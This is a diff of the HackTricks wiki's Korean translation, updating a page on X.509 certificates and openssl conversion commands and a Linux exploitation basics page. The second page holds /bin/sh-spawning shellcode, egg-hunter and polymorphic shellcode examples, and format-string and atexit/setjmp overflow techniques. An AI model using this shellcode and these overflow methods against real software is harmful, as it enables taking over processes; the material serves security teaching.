+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
+{% endhint %}
diff --git a/cryptography/certificates.md b/cryptography/certificates.md
index 4cde4d920..0d0164dd7 100644
--- a/cryptography/certificates.md
+++ b/cryptography/certificates.md
@@ -1,58 +1,59 @@
-# 인증서
+# Certificates
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!
+Support HackTricks
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
-오늘 바로 액세스하세요:
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## 인증서란
+## What is a Certificate
-**공개 키 인증서**는 암호학에서 사용되는 디지턀 ID로, 누군가가 공개 키를 소유하고 있음을 증명하는 데 사용됩니다. 이는 키의 세부 정보, 소유자의 신원(주체) 및 신뢰할 수 있는 기관(발급자)의 디지털 서명을 포함합니다. 소프트웨어가 발급자를 신뢰하고 서명이 유효하다면, 키 소유자와의 안전한 통신이 가능합니다.
+**공개 키 인증서**는 암호화에서 누군가가 공개 키를 소유하고 있음을 증명하는 데 사용되는 디지털 ID입니다. 여기에는 키의 세부정보, 소유자의 신원(주체) 및 신뢰할 수 있는 기관(발급자)의 디지털 서명이 포함됩니다. 소프트웨어가 발급자를 신뢰하고 서명이 유효하면 키 소유자와의 안전한 통신이 가능합니다.
-인증서는 주로 [인증 기관](https://en.wikipedia.org/wiki/Certificate\_authority)(CAs)에 의해 [공개 키 인프라](https://en.wikipedia.org/wiki/Public-key\_infrastructure)(PKI) 설정에서 발급됩니다. 다른 방법은 사용자가 서로 키를 직접 확인하는 [신뢰 웹](https://en.wikipedia.org/wiki/Web\_of\_trust)입니다. 인증서의 일반적인 형식은 [X.509](https://en.wikipedia.org/wiki/X.509)이며, RFC 5280에서 설명된 특정 요구 사항에 맞게 조정할 수 있습니다.
+인증서는 주로 [인증 기관](https://en.wikipedia.org/wiki/Certificate\_authority) (CA)에서 [공개 키 인프라](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) 설정에서 발급됩니다. 또 다른 방법은 사용자가 서로의 키를 직접 검증하는 [신뢰의 웹](https://en.wikipedia.org/wiki/Web\_of\_trust)입니다. 인증서의 일반적인 형식은 [X.509](https://en.wikipedia.org/wiki/X.509)이며, RFC 5280에 설명된 특정 요구 사항에 맞게 조정될 수 있습니다.
-## x509 공통 필드
+## x509 Common Fields
-### **x509 인증서의 공통 필드**
+### **x509 인증서의 일반 필드**
-x509 인증서에서 여러 **필드**가 인증서의 유효성과 보안을 보장하는 데 중요한 역할을 합니다. 이러한 필드를 살펴보겠습니다:
+x509 인증서에서 여러 **필드**는 인증서의 유효성과 보안을 보장하는 데 중요한 역할을 합니다. 이러한 필드의 세부 사항은 다음과 같습니다:
* **버전 번호**는 x509 형식의 버전을 나타냅니다.
-* **일련 번호**는 주로 폐지 추적을 위해 인증 기관(CA) 시스템 내에서 인증서를 고유하게 식별합니다.
-* **주체** 필드는 인증서의 소유자를 나타내며, 기계, 개인 또는 조직일 수 있습니다. 다음과 같은 자세한 식별 정보를 포함합니다:
-* **일반 이름 (CN)**: 인증서가 적용되는 도메인
-* **국가 (C)**, **지역 (L)**, **주 또는 지방 (ST, S 또는 P)**, **조직 (O)** 및 **조직 단위 (OU)**는 지리적 및 조직적 세부 정보를 제공합니다.
-* **식별 이름 (DN)**은 전체 주체 식별을 캡슐화합니다.
-* **발급자**는 인증서를 확인하고 서명한 사람을 나타내며, CA에 대한 주체와 유사한 하위 필드를 포함합니다.
-* **유효 기간**은 **Not Before** 및 **Not After** 타임스탬프로 표시되어, 특정 날짜 이전 또는 이후에 인증서가 사용되지 않도록 합니다.
-* 인증서의 보안에 중요한 **공개 키** 섹션은 공개 키의 알고리즘, 크기 및 기술적 세부 정보를 지정합니다.
-* **x509v3 확장**은 인증서의 기능을 향상시키며, **키 사용**, **확장 키 사용**, **대체 주체 이름** 및 인증서의 응용 프로그램을 세밀하게 조정하기 위한 기타 속성을 지정합니다.
+* **일련 번호**는 인증서를 인증 기관(CA) 시스템 내에서 고유하게 식별하며, 주로 폐기 추적을 위해 사용됩니다.
+* **주체** 필드는 인증서의 소유자를 나타내며, 이는 기계, 개인 또는 조직일 수 있습니다. 여기에는 다음과 같은 자세한 식별 정보가 포함됩니다:
+* **공통 이름(CN)**: 인증서가 적용되는 도메인.
+* **국가(C)**, **지역(L)**, **주 또는 지방(ST, S 또는 P)**, **조직(O)** 및 **조직 단위(OU)**는 지리적 및 조직적 세부정보를 제공합니다.
+* **구별 이름(DN)**은 전체 주체 식별을 포함합니다.
+* **발급자**는 인증서를 검증하고 서명한 사람을 나타내며, CA에 대한 주체와 유사한 하위 필드를 포함합니다.
+* **유효 기간**은 **Not Before** 및 **Not After** 타임스탬프로 표시되어 인증서가 특정 날짜 이전이나 이후에 사용되지 않도록 보장합니다.
+* **공개 키** 섹션은 인증서의 보안에 중요한 부분으로, 공개 키의 알고리즘, 크기 및 기타 기술적 세부정보를 지정합니다.
+* **x509v3 확장**은 인증서의 기능을 향상시키며, **키 사용**, **확장 키 사용**, **주체 대체 이름** 및 인증서의 적용을 세부 조정하는 기타 속성을 지정합니다.
#### **키 사용 및 확장**
-* **키 사용**은 공개 키의 암호화 응용 프로그램을 식별합니다. 예: 디지털 서명 또는 키 암호화
-* **확장 키 사용**은 인증서의 사용 사례를 더 세분화합니다. 예: TLS 서버 인증을 위해
-* **대체 주체 이름** 및 **기본 제약**은 인증서가 적용되는 추가 호스트 이름 및 CA 또는 종단 개체 인증서인지 여부를 정의합니다.
-* **주체 키 식별자** 및 **발급자 키 식별자**는 키의 고유성과 추적 가능성을 보장합니다.
-* **발급자 정보 액세스** 및 **CRL 배포 지점**은 발급 CA를 확인하고 인증서 폐지 상태를 확인하기 위한 경로를 제공합니다.
-* **CT 사전 인증 SCT**는 인증서에 대한 공개 신뢰에 중요한 투명성 로그를 제공합니다.
+* **키 사용**은 공개 키의 암호화 응용 프로그램을 식별하며, 디지털 서명 또는 키 암호화와 같은 용도로 사용됩니다.
+* **확장 키 사용**은 인증서의 사용 사례를 더욱 좁혀 TLS 서버 인증과 같은 용도로 사용됩니다.
+* **주체 대체 이름** 및 **기본 제약 조건**은 인증서가 적용되는 추가 호스트 이름과 인증서가 CA인지 최종 엔티티 인증서인지를 정의합니다.
+* **주체 키 식별자** 및 **권한 키 식별자**와 같은 식별자는 키의 고유성과 추적 가능성을 보장합니다.
+* **권한 정보 접근** 및 **CRL 배포 지점**은 발급 CA를 검증하고 인증서 폐기 상태를 확인하는 경로를 제공합니다.
+* **CT 사전 인증서 SCT**는 인증서에 대한 공공 신뢰를 위해 중요한 투명성 로그를 제공합니다.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@@ -74,46 +75,48 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
-### **OCSP와 CRL 배포 지점의 차이점**
+### **OCSP와 CRL 배포 지점의 차이**
-**OCSP** (**RFC 2560**)은 디지털 공개 키 인증서가 폐기되었는지 확인하기 위해 클라이언트와 응답기가 함께 작동하여 전체 **CRL**을 다운로드할 필요 없이 작동합니다. 이 방법은 폐기된 인증서 일련 번호 목록을 제공하지만 잠재적으로 큰 파일을 다운로드해야 하는 전통적인 **CRL**보다 효율적입니다. CRL에는 최대 512개의 항목이 포함될 수 있습니다. 자세한 내용은 [여기](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)에서 확인할 수 있습니다.
+**OCSP** (**RFC 2560**)는 클라이언트와 응답자가 협력하여 디지털 공개 키 인증서가 취소되었는지 확인하는 방법으로, 전체 **CRL**을 다운로드할 필요가 없습니다. 이 방법은 취소된 인증서 일련 번호 목록을 제공하지만 잠재적으로 큰 파일을 다운로드해야 하는 전통적인 **CRL**보다 더 효율적입니다. CRL은 최대 512개의 항목을 포함할 수 있습니다. 더 많은 세부정보는 [여기](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)에서 확인할 수 있습니다.
### **인증서 투명성이란**
-인증서 투명성은 SSL 인증서의 발급 및 존재가 도메인 소유자, CA 및 사용자에게 투명하게 표시되도록하여 인증서 관련 위협에 대항하는 데 도움을 줍니다. 그 목표는 다음과 같습니다:
+인증서 투명성은 SSL 인증서의 발급 및 존재가 도메인 소유자, CA 및 사용자에게 가시화되도록 하여 인증서 관련 위협에 대응하는 데 도움을 줍니다. 그 목표는 다음과 같습니다:
-* 도메인 소유자의 동의 없이 CA가 도메인을 위한 SSL 인증서를 발급하는 것을 방지합니다.
-* 실수로나 악의적으로 발급된 인증서를 추적하기 위한 공개 감사 시스템을 설정합니다.
-* 사용자를 사기적인 인증서로부터 보호합니다.
+* CA가 도메인 소유자의 지식 없이 도메인에 대한 SSL 인증서를 발급하는 것을 방지합니다.
+* 실수로 또는 악의적으로 발급된 인증서를 추적하기 위한 공개 감사 시스템을 구축합니다.
+* 사용자들을 사기성 인증서로부터 보호합니다.
#### **인증서 로그**
-인증서 로그는 네트워크 서비스에 의해 유지되는 공개 감사 가능한, 추가 전용 인증서 레코드입니다. 이러한 로그는 감사 목적을 위한 암호학적 증거를 제공합니다. 발급 기관과 일반인 모두 이러한 로그에 인증서를 제출하거나 검증을 위해 쿼리할 수 있습니다. 로그 서버의 정확한 수는 고정되어 있지 않지만 전 세계적으로 천 개 미만으로 예상됩니다. 이러한 서버는 CA, ISP 또는 관련 당사자에 의해 독립적으로 관리될 수 있습니다.
+인증서 로그는 네트워크 서비스에 의해 유지되는 공개 감사 가능하고 추가 전용 기록입니다. 이러한 로그는 감사 목적으로 암호학적 증거를 제공합니다. 발급 기관과 대중 모두 이러한 로그에 인증서를 제출하거나 검증을 위해 쿼리할 수 있습니다. 로그 서버의 정확한 수는 고정되어 있지 않지만, 전 세계적으로 천 개 미만일 것으로 예상됩니다. 이러한 서버는 CA, ISP 또는 관심 있는 어떤 주체에 의해 독립적으로 관리될 수 있습니다.
#### **쿼리**
-어떤 도메인에 대한 인증서 투명성 로그를 살펴보려면 [https://crt.sh/](https://crt.sh)를 방문하십시오.
+어떤 도메인에 대한 인증서 투명성 로그를 탐색하려면 [https://crt.sh/](https://crt.sh) 를 방문하세요.
+
+인증서를 저장하는 다양한 형식이 있으며, 각 형식은 고유한 사용 사례와 호환성을 가지고 있습니다. 이 요약에서는 주요 형식을 다루고 이들 간의 변환에 대한 지침을 제공합니다.
## **형식**
### **PEM 형식**
* 인증서에 가장 널리 사용되는 형식입니다.
-* 인증서와 개인 키를 별도의 파일로 요구하며 Base64 ASCII로 인코딩됩니다.
+* 인증서와 개인 키를 위해 별도의 파일이 필요하며, Base64 ASCII로 인코딩됩니다.
* 일반적인 확장자: .cer, .crt, .pem, .key.
* 주로 Apache 및 유사한 서버에서 사용됩니다.
### **DER 형식**
* 인증서의 이진 형식입니다.
-* PEM 파일에 있는 "BEGIN/END CERTIFICATE" 문이 없습니다.
+* PEM 파일에서 발견되는 "BEGIN/END CERTIFICATE" 문이 없습니다.
* 일반적인 확장자: .cer, .der.
-* Java 플랫폼과 함께 자주 사용됩니다.
+* 종종 Java 플랫폼과 함께 사용됩니다.
### **P7B/PKCS#7 형식**
-* Base64 ASCII로 저장되며 .p7b 또는 .p7c 확장자가 있습니다.
-* 개인 키를 제외한 인증서 및 체인 인증서만 포함합니다.
+* Base64 ASCII로 저장되며, 확장자는 .p7b 또는 .p7c입니다.
+* 개인 키를 제외하고 인증서와 체인 인증서만 포함됩니다.
* Microsoft Windows 및 Java Tomcat에서 지원됩니다.
### **PFX/P12/PKCS#12 형식**
@@ -126,74 +129,71 @@ print(f"Public Key: {public_key}")
**PEM 변환**은 호환성을 위해 필수적입니다:
-* **x509를 PEM으로**
+* **x509 to PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
-* **PEM을 DER로 변환**
+* **PEM에서 DER로**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
-* **DER를 PEM으로 변환**
+* **DER to PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
-* **PEM을 P7B로 변환하기**
+* **PEM에서 P7B로**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
-* **PKCS7를 PEM으로 변환하기**
+* **PKCS7를 PEM으로**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**PFX 변환**은 Windows에서 인증서를 관리하는 데 중요합니다:
-* **PFX를 PEM으로**
+* **PFX에서 PEM으로**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
-* **PFX를 PKCS#8로 변환**은 두 단계로 이루어집니다:
-1. PFX를 PEM으로 변환합니다.
+* **PFX to PKCS#8**는 두 단계로 이루어집니다:
+1. PFX를 PEM으로 변환
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
-2. PEM을 PKCS8로 변환합니다.
-
-```bash
-openssl pkcs8 -topk8 -inform PEM -outform DER -in private.pem -out private_key.pk8 -nocrypt
-```
+2. PEM을 PKCS8로 변환하기
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
-* **P7B를 PFX로 변환**은 두 개의 명령어가 필요합니다:
-1. P7B를 CER로 변환합니다.
+* **P7B to PFX** 또한 두 개의 명령이 필요합니다:
+1. P7B를 CER로 변환
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
-2. CER 및 개인 키를 PFX로 변환합니다.
+2. CER 및 개인 키를 PFX로 변환하기
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
***
-
+
\
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
-오늘 바로 액세스하세요:
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
+오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-제로부터 히어로까지 AWS 해킹 배우기htARTE (HackTricks AWS Red Team Expert)!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
diff --git a/exploiting/linux-exploiting-basic-esp/README.md b/exploiting/linux-exploiting-basic-esp/README.md
index a0ef77aa8..08e19f345 100644
--- a/exploiting/linux-exploiting-basic-esp/README.md
+++ b/exploiting/linux-exploiting-basic-esp/README.md
@@ -1,37 +1,38 @@
# Linux Exploiting (Basic) (SPA)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team 전문가)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요!
+Support HackTricks
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## **2.SHELLCODE**
-Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
+커널 인터럽션 보기: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
-xor eax, eax ; limpiamos eax\
-xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\
+xor eax, eax ; eax 초기화\
+xor ebx, ebx ; ebx = 0, 인자가 없으므로\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
-int 0x80 ; Ejecutar syscall
+int 0x80 ; 시스템 호출 실행
-**nasm -f elf assembly.asm** —> Nos devuelve un .o\
-**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\
-**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
+**nasm -f elf assembly.asm** —> .o 파일 반환\
+**ld assembly.o -o shellcodeout** —> 어셈블리 코드로 구성된 실행 파일 생성, **objdump**로 opcodes 추출 가능\
+**objdump -d -Mintel ./shellcodeout** —> 실제로 우리의 shellcode인지 확인하고 OpCodes 추출
-**Comprobar que la shellcode funciona**
+**shellcode가 작동하는지 확인**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
@@ -41,11 +42,11 @@ fp = (void *)shellcode;
fp();
}
```
-시스템 호출이 올바르게 이루어졌는지 확인하려면 이전 프로그램을 컴파일하고 시스템 호출이 **strace ./COMPILADO_프로그램**에 나타나야 합니다.
+시스템 호출이 올바르게 수행되는지 확인하려면 이전 프로그램을 컴파일해야 하며 시스템 호출은 **strace ./PROGRAMA\_COMPILADO**에 나타나야 합니다.
-쉘코드를 작성할 때 한 가지 트릭을 사용할 수 있습니다. 첫 번째 명령은 call로 이어지는 점프입니다. 이 call은 원래 코드를 호출하고 스택에 EIP를 넣습니다. call 명령 다음에 필요한 문자열을 넣었으므로 해당 EIP로 문자열을 가리킬 수 있고 코드 실행을 계속할 수 있습니다.
+쉘코드를 생성할 때 트릭을 사용할 수 있습니다. 첫 번째 명령어는 call로 점프하는 것입니다. call은 원래 코드를 호출하고 EIP를 스택에 넣습니다. call 명령어 이후에 필요한 문자열을 넣었으므로, 이 EIP를 사용하여 문자열을 가리키고 코드를 계속 실행할 수 있습니다.
-예시 **트릭 (/bin/sh)**:
+EJ **TRUCO (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
@@ -65,7 +66,7 @@ int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar
```
-**/bin/sh를 사용한 EJ:**
+**EJ 스택 사용(/bin/sh):**
```
section .text
global _start
@@ -86,21 +87,20 @@ mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
-**EJ FNSTENV:**
-EJ FNSTENV는 목표로 하는 메모리 주소에 현재 FPU 상태를 저장하는 데 사용됩니다.
+**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
```
-**Egg Hunter:**
+**Egg Huter:**
-프로세스와 관련된 메모리 페이지를 탐색하여 거기에 저장된 셸코드를 찾는 작은 코드입니다 (셸코드에 넣은 서명을 찾습니다). 코드를 삽입할 작은 공간만 있는 경우 유용합니다.
+프로세스와 연결된 메모리 페이지를 순회하여 거기에 저장된 shellcode를 찾는 작은 코드로 구성됩니다(여기서 shellcode에 설정된 서명을 찾습니다). 코드를 주입할 수 있는 공간이 적은 경우에 유용합니다.
-**다형 셸코드**
+**Shellcodes polimórficos**
-암호화된 셸을 나타내는 작은 코드가 포함되어 있으며 해당 코드를 해독하고 해당 코드로 이동하는 셸입니다. Call-Pop 트릭을 사용하는 Caesar 암호화된 예제가 있습니다:
+암호화된 shell로 구성되며, 이를 해독하고 점프하는 작은 코드가 포함되어 있습니다. Call-Pop 트릭을 사용하여, 이것은 **예시 암호화된 cesar**입니다:
```
global _start
_start:
@@ -119,72 +119,54 @@ call init
sc:
;Aquí va el shellcode
```
-## **5. 보충 기법**
+## **5. 보완 방법**
+**무라트 기법**
+리눅스에서 모든 프로그램은 0xbfffffff에서 시작하여 매핑됩니다.
+리눅스에서 새로운 프로세스의 스택이 어떻게 구성되는지를 보면, 프로그램이 shellcode만 있는 환경에서 시작되도록 exploit를 개발할 수 있습니다. 이 주소는 다음과 같이 계산할 수 있습니다: addr = 0xbfffffff - 4 - strlen(전체_실행파일_이름) - strlen(shellcode)
+이렇게 하면 shellcode가 있는 환경 변수의 주소를 쉽게 얻을 수 있습니다.
-**Murat 기법**
+이는 execle 함수가 원하는 환경 변수만 포함된 환경을 생성할 수 있게 해주기 때문에 가능합니다.
-리눅스에서 모든 프로그램은 0xbfffffff부터 매핑됩니다.
+### **버퍼 오버플로우를 위한 포맷 문자열**
-새로운 프로세스의 스택이 어떻게 구성되는지 살펴보면, 프로그램이 쉘코드만 있는 환경에서 실행되도록 exploit을 개발할 수 있습니다. 따라서 이 주소는 다음과 같이 계산할 수 있습니다: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode)
-
-이렇게 하면 쉘코드가 있는 환경 변수의 주소를 쉽게 얻을 수 있습니다.
-
-이것은 execle 함수가 원하는 환경 변수만 가지고 있는 환경을 만들 수 있기 때문에 가능합니다.
-
-
-
-##
-
-###
-
-###
-
-###
-
-###
-
-### **버퍼 오버플로우를 위한 형식 문자열**
-
-**sprintf**는 형식화된 문자열을 변수로 이동시킵니다. 따라서 문자열의 형식을 남용하여 복사된 내용이 포함된 변수에서 버퍼 오버플로우를 발생시킬 수 있습니다.\
-예를 들어, 페이로드 `%.44xAAAA`는 변수에 44B+"AAAA"를 쓸 수 있으며 이는 버퍼 오버플로우를 일으킬 수 있습니다.
+**sprintf**는 포맷된 문자열을 **변수로** 이동시킵니다. 따라서 문자열의 **포맷팅**을 악용하여 **내용이 복사되는 변수에서 버퍼 오버플로우를 유발할 수 있습니다**.\
+예를 들어, 페이로드 `%.44xAAAA`는 **변수에 44B+"AAAA"를 씁니다**, 이는 버퍼 오버플로우를 유발할 수 있습니다.
### **\_\_atexit 구조체**
{% hint style="danger" %}
-현재는 이를 exploit하는 것이 매우 드문 일입니다.
+현재는 이를 **악용하기 매우 어렵습니다**.
{% endhint %}
-**`atexit()`**는 다른 함수들이 매개변수로 전달되는 함수입니다. 이러한 함수들은 **`exit()`를 실행하거나 main이 반환될 때 실행됩니다.**\
-예를 들어, 이러한 함수들 중 하나의 주소를 쉘코드를 가리키도록 수정할 수 있다면 프로세스를 제어할 수 있지만, 현재 이 작업은 더 복잡해졌습니다.\
-현재 실행할 함수들의 주소는 여러 구조체 뒤에 숨겨져 있으며, 마지막으로 가리키는 주소는 함수들의 주소가 아니라 **XOR로 암호화되고 무작위 키로 이동된 주소입니다.** 따라서 현재 이 공격 벡터는 적어도 x86 및 x64\_86에서는 매우 유용하지 않습니다.\
-암호화 함수는 **`PTR_MANGLE`**입니다. **m68k, mips32, mips64, aarch64, arm, hppa**와 같은 **다른 아키텍처**는 암호화 함수를 구현하지 않습니다. 따라서 이러한 아키텍처는 이러한 벡터에 의해 공격당할 수 있습니다.
+**`atexit()`**는 **다른 함수들이 매개변수로 전달되는 함수입니다.** 이 **함수들**은 **`exit()`**를 실행하거나 **main**의 **return** 시에 **실행됩니다**.\
+이러한 **함수들** 중 하나의 **주소**를 shellcode를 가리키도록 **수정**할 수 있다면, **프로세스의 제어를 얻을 수 있습니다**, 하지만 현재는 더 복잡합니다.\
+현재 실행될 **함수들의 주소**는 여러 구조 뒤에 **숨겨져** 있으며, 최종적으로 가리키는 주소는 함수의 주소가 아니라 **XOR로 암호화**되고 **무작위 키**로 이동됩니다. 따라서 현재 이 공격 벡터는 **x86** 및 **x64\_86**에서는 그다지 유용하지 않습니다.\
+**암호화 함수**는 **`PTR_MANGLE`**입니다. **m68k, mips32, mips64, aarch64, arm, hppa**와 같은 **다른 아키텍처**는 암호화 함수를 **구현하지 않습니다**. 왜냐하면 이 함수는 입력으로 받은 것과 **같은 값을 반환하기 때문입니다**. 따라서 이러한 아키텍처는 이 벡터로 공격할 수 있습니다.
### **setjmp() & longjmp()**
{% hint style="danger" %}
-현재는 이를 exploit하는 것이 매우 드문 일입니다.
+현재는 이를 **악용하기 매우 어렵습니다**.
{% endhint %}
-**`Setjmp()`**는 **컨텍스트(레지스터)를 저장**할 수 있습니다.\
-**`longjmp()`**는 **컨텍스트를 복원**할 수 있습니다.\
-저장된 레지스터는: `EBX, ESI, EDI, ESP, EIP, EBP`입니다.\
-그러나 EIP와 ESP는 **`PTR_MANGLE`** 함수를 통해 전달되므로 이 공격에 취약한 아키텍처는 위와 동일합니다.\
